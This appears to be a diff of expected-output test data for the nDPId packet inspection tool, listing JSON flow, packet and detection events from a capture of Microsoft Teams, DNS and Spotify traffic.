01126{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1846,"source":"teams.pcap","alias":"nDPId-test","flow_id":46,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041685251950,"flow_src_last_pkt_time":1587041685281210,"flow_dst_last_pkt_time":1587041685312634,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":246,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":246,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1587041685312634,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.7","src_port":60556,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Microsoft365","proto_id":"91.219","encrypted":1,"breed":"Acceptable","category_id":15,"category":"Collaborative","hostname":"login.microsoftonline.com","tls": {"version":"TLSv1.2","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}}} 01712{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1864,"source":"teams.pcap","alias":"nDPId-test","flow_id":42,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":4,"flow_first_seen":1587041685232231,"flow_src_last_pkt_time":1587041685327559,"flow_dst_last_pkt_time":1587041685327736,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041685327736,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60552,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} 01712{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1874,"source":"teams.pcap","alias":"nDPId-test","flow_id":45,"flow_state":"info","flow_src_packets_processed":5,"flow_dst_packets_processed":6,"flow_first_seen":1587041685248604,"flow_src_last_pkt_time":1587041685350807,"flow_dst_last_pkt_time":1587041685350857,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":190,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":190,"flow_dst_tot_l4_payload_len":6079,"midstream":0,"thread_ts_usec":1587041685350857,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60555,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1897,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041685406369} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1897,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041685403983,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 01587{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1908,"source":"teams.pcap","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":5,"flow_dst_packets_processed":6,"flow_first_seen":1587041685106192,"flow_src_last_pkt_time":1587041685420065,"flow_dst_last_pkt_time":1587041685420103,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":203,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":203,"flow_dst_tot_l4_payload_len":5962,"midstream":0,"thread_ts_usec":1587041685420103,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.15.45","src_port":60551,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"trouter2-asse-a.trouter.teams.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.trouter.teams.microsoft.com,go.trouter.io,*.drip.trouter.io,*.dc.trouter.io","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 2","subjectDN":"CN=*.trouter.teams.microsoft.com","fingerprint":"DD:24:DF:0E:F3:63:CC:10:B5:03:CF:34:EB:A5:14:8B:97:90:9B:D4"}}} 01964{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1936,"source":"teams.pcap","alias":"nDPId-test","flow_id":43,"flow_state":"info","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1587041685240465,"flow_src_last_pkt_time":1587041685469669,"flow_dst_last_pkt_time":1587041685469973,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1082,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":1426,"flow_dst_tot_l4_payload_len":15976,"midstream":0,"thread_ts_usec":1587041685469973,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60554,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":3,"avg":14797.2,"max":153955,"stddev":35697.7,"var":1274323968.0,"ent":2.8,"data": [12903,12995,473,12371,1988,1502,15362,129,134,115,3,85,21608,33026,11480,11732,109,11784,570,13396,140399,715,153955,248,230,250,250,503,25,129,243]},"pktlen": {"min":40,"avg":585.7,"max":1492,"stddev":671.4,"var":450756.0,"ent":4.0,"data": [64,52,40,226,46,1492,1492,40,1492,40,1492,168,40,147,46,91,46,91,40,1122,46,1492,1492,40,1317,40,1492,1492,40,40,1492,1492]},"bins": {"c_to_s": [10,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [5,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,10,0,0]},"directions": [0,1,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1],"entropies": [4.365527153,4.878727913,4.471928596,5.502106190,4.402616024,7.277978420,7.489027023,4.630640984,7.478912354,4.521928310,7.663036823,6.686788082,4.630640984,6.493359089,4.462505341,5.681205750,4.462504864,5.560394764,4.580641270,7.802004814,4.565872192,7.879904747,7.863986492,4.580641270,7.860152721,4.580640793,7.874552727,7.850657463,4.580641270,4.471928596,7.869473934,7.878328800]}} 01552{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1936,"source":"teams.pcap","alias":"nDPId-test","flow_id":43,"flow_state":"info","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1587041685240465,"flow_src_last_pkt_time":1587041685469669,"flow_dst_last_pkt_time":1587041685469973,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1082,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":1426,"flow_dst_tot_l4_payload_len":15976,"midstream":0,"thread_ts_usec":1587041685469973,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60554,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"config.teams.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.config.teams.microsoft.com,config.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"7d8fd34fdb13a7fff30d5a52846b6c4c","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","subjectDN":"CN=config.teams.microsoft.com","fingerprint":"B9:54:54:12:C9:E9:43:65:10:70:04:7B:AD:B6:0C:46:06:38:A5:FA"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1979,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041685611278} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":1979,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041685546646,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00754{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2018,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041685984732,"flow_src_last_pkt_time":1587041685984732,"flow_dst_last_pkt_time":1587041685984732,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041685984732,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60557,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00543{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2018,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_src_last_pkt_time":1587041685984732,"flow_dst_last_pkt_time":1587041685984732,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1587041685984732,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOyNAbtKVk3bAAAAALAC\/\/8LQAAAAgQFtAEDAwUBAQgKMIS8GgAAAAAEAgAA"} 00527{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2019,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":2,"flow_src_last_pkt_time":1587041685984732,"flow_dst_last_pkt_time":1587041685996890,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041685996890,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0TQBAAHUGACA0ccKEwKgBBgG77I3LqgPISlZN3IAS\/\/9gggAAAgQFoAEDAwgBAQQC"} @@ -317,8 +307,6 @@ 01180{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2046,"source":"teams.pcap","alias":"nDPId-test","flow_id":48,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041686239545,"flow_src_last_pkt_time":1587041686288562,"flow_dst_last_pkt_time":1587041686288146,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041686288562,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60559,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01194{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2047,"source":"teams.pcap","alias":"nDPId-test","flow_id":48,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041686239545,"flow_src_last_pkt_time":1587041686288562,"flow_dst_last_pkt_time":1587041686339149,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1587041686339149,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60559,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 02239{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":2074,"source":"teams.pcap","alias":"nDPId-test","flow_id":48,"flow_state":"finished","flow_src_packets_processed":21,"flow_dst_packets_processed":11,"flow_first_seen":1587041686239545,"flow_src_last_pkt_time":1587041686542441,"flow_dst_last_pkt_time":1587041686541501,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1428,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":14115,"flow_dst_tot_l4_payload_len":4699,"midstream":0,"thread_ts_usec":1587041686542441,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60559,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":2,"avg":19511.4,"max":52987,"stddev":22191.7,"var":492470496.0,"ent":3.9,"data": [48601,48710,307,51003,89,50699,16,253,253,1686,49778,48144,1391,5,2,50498,49101,4,2,3,37233,37219,5,11525,11515,965,36039,15972,52987,736,111]},"pktlen": {"min":52,"avg":640.9,"max":1492,"stddev":667.9,"var":446080.7,"ent":4.1,"data": [64,60,52,258,1492,1492,64,52,1375,52,145,103,52,1480,1480,1480,52,1480,1480,1480,1480,52,1480,1480,52,985,52,52,497,52,83,52]},"bins": {"c_to_s": [9,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9,0,0,0],"s_to_c": [6,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0]},"directions": [0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0],"entropies": [4.396777153,5.256567955,4.923395157,6.033491611,7.275527000,7.277948856,5.071470261,4.945419312,7.645617962,4.976373672,5.915142536,5.707202435,4.976374149,7.861220360,7.878036976,7.850315571,5.131024837,7.877380371,7.857055187,7.886486053,7.876827240,5.169486523,7.849795818,7.874622822,5.078045845,7.791067600,5.131024837,5.207948208,7.563468933,5.053297043,5.290699482,4.969671726]},"ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud"}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2076,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041686611252} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2076,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041686589907,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041686659283,"flow_src_last_pkt_time":1587041686659283,"flow_dst_last_pkt_time":1587041686659283,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041686659283,"l3_proto":"ip4","src_ip":"192.168.1.112","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00558{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_src_last_pkt_time":1587041686659283,"flow_dst_last_pkt_time":1587041686659283,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1587041686659283,"pkt":"\/\/\/\/\/\/\/\/jP5XIzfkCABFAABE9p0AAEAR\/0vAqAFwwKgB\/+EV4RUAME6OU3BvdFVkcDBE2bWZ25IvowABAADKIN8ICP0NzlEBuCwq6R7jWIhweQ=="} 00867{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041686659283,"flow_src_last_pkt_time":1587041686659283,"flow_dst_last_pkt_time":1587041686659283,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041686659283,"l3_proto":"ip4","src_ip":"192.168.1.112","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Spotify","proto_id":"156","encrypted":1,"breed":"Acceptable","category_id":25,"category":"Music"}} @@ -336,8 +324,6 @@ 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041687370480,"flow_src_last_pkt_time":1587041687370480,"flow_dst_last_pkt_time":1587041687370480,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687370480,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00548{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_src_last_pkt_time":1587041687370480,"flow_dst_last_pkt_time":1587041687370480,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"thread_ts_usec":1587041687370480,"pkt":"EBMx8Tl2KDc3AG3ICABFAABF06EAAP8RZK7AqAEGwKgBAdM1ADUAMUK+cAQBAAABAAAAAAAAA2FwaQ9taWNyb3NvZnRzdHJlYW0DY29tAAABAAE="} 00998{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041687370480,"flow_src_last_pkt_time":1587041687370480,"flow_dst_last_pkt_time":1587041687370480,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687370480,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"api.microsoftstream.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2198,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041687412781} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2198,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041687382278,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00792{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2201,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":2,"flow_src_last_pkt_time":1587041687370480,"flow_dst_last_pkt_time":1587041687435320,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"thread_ts_usec":1587041687435320,"pkt":"KDc3AG3IEBMx8Tl2CABFAAD6rblAADkRD+LAqAEBwKgBBgA10zUA5gAAcASBgAABAAYAAAAAA2FwaQ9taWNyb3NvZnRzdHJlYW0DY29tAAABAAHADAAFAAEAAAe+AB8DYXBpBnN0cmVhbQ50cmFmZmljbWFuYWdlcgNuZXQAwDUABQABAAAAPAAJBmV1d2UtMcAMwGAABQABAAAEVQANCmV1d2UtMS1hcGnAQMB1AAUAAQAAACkACwhldXdlLTEtMcAMwI4ABQABAAAAwQApHWFtcy1ldXdlLTEtaG9zLWFwaWdhdGV3YXktMS0xCGNsb3VkYXBwwE\/ApQABAAEAAAANAARoKLuX"} 01017{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2201,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1587041687370480,"flow_src_last_pkt_time":1587041687370480,"flow_dst_last_pkt_time":1587041687435320,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":222,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":222,"midstream":0,"thread_ts_usec":1587041687435320,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"api.microsoftstream.com","dns": {"num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"104.40.187.151"}}} 00754{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2202,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041687436782,"flow_src_last_pkt_time":1587041687436782,"flow_dst_last_pkt_time":1587041687436782,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041687436782,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} @@ -346,8 +332,6 @@ 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2204,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":3,"flow_src_last_pkt_time":1587041687466398,"flow_dst_last_pkt_time":1587041687466298,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041687466398,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGVVbAqAEGaCi7l+ySAbtvi5oJgZblB4AQEAkTrwAAAQEICjCEwbkBuRsf"} 